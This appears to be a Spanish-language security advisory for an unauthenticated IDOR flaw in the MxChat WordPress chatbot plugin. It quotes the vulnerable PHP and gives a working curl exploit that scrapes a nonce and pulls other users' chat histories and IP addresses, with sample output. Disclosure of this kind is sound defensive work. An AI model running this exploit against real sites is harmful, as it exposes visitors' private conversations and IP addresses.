
MxChat – Chatbot de IA para WordPress <= 2.5.1 - Exposición de Información No Autenticada
El complemento MxChat Basic no verifica la propiedad de la sesión en el endpoint AJAX mxchat_fetch_conversation_history, lo que permite a usuarios no autenticados acceder al historial de conversaciones y a las direcciones IP de otros usuarios mediante vulnerabilidades de Referencia Directa a Objetos Insegura (IDOR).
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
La función mxchat_fetch_conversation_history() en el archivo /includes/class-mxchat-integrator.php recupera los datos de la conversación basándose únicamente en un session_id proporcionado por el cliente, sin verificar que quien realiza la solicitud sea el propietario de la sesión. Esto permite que cualquier usuario no autenticado con un nonce válido (disponible a través de JavaScript en el frontend) acceda a los datos privados de conversaciones de otros usuarios. Además, el historial de la conversación incluye las direcciones IP de los usuarios almacenadas en el campo agent_name, las cuales se exponen junto con los datos de la conversación.
La divulgación de la dirección IP ocurre en el proceso de almacenamiento de mensajes:
Ubicado en class-mxchat-integrator.php:
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
Donde MxChat_User::mxchat_get_user_identifier() devuelve la dirección IP del usuario para usuarios no autenticados:
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
Esta dirección IP se almacena posteriormente en el historial de la conversación como agent_name y se expone al recuperar los datos de la conversación.
Los IDs de sesión se incrustan directamente en los nombres de los archivos subidos. Cuando los usuarios suben documentos PDF o Word a través de la interfaz de chat, los archivos se guardan con patrones de nombre predecibles: mxchat_{session_id}_{timestamp}.pdf y mxchat_word_{session_id}_{timestamp}.docx. Esto hace que los IDs de sesión sean descubribles a través de varios vectores de ataque: listado de directorios si la indexación del servidor está habilitada en el directorio de subidas, acceso a la biblioteca de medios de WordPress, posible indexación por motores de búsqueda, etc.
Fragmento vulnerable de class-mxchat-integrator.php:
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
Navega a cualquier página del sitio WordPress objetivo y extrae el mxchat_chat_nonce del código fuente de la página. El nonce se expone en el JavaScript del frontend como mxchatChat.nonce y está disponible para todos los visitantes.
Identifica un ID de sesión (formato: mxchat_chat_{9 caracteres alfanuméricos}). Los IDs de sesión pueden descubrirse a través de los nombres de los archivos subidos si el listado de directorios o el acceso a la biblioteca de medios está habilitado, o enumerarse probando patrones secuenciales o valores comunes.
Ejecuta el siguiente comando curl para recuperar el historial de conversación de cualquier sesión:
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
El campo agent_name contiene la dirección IP del usuario ($_SERVER['REMOTE_ADDR']) para usuarios no autenticados, la cual se divulga junto con los datos de la conversación.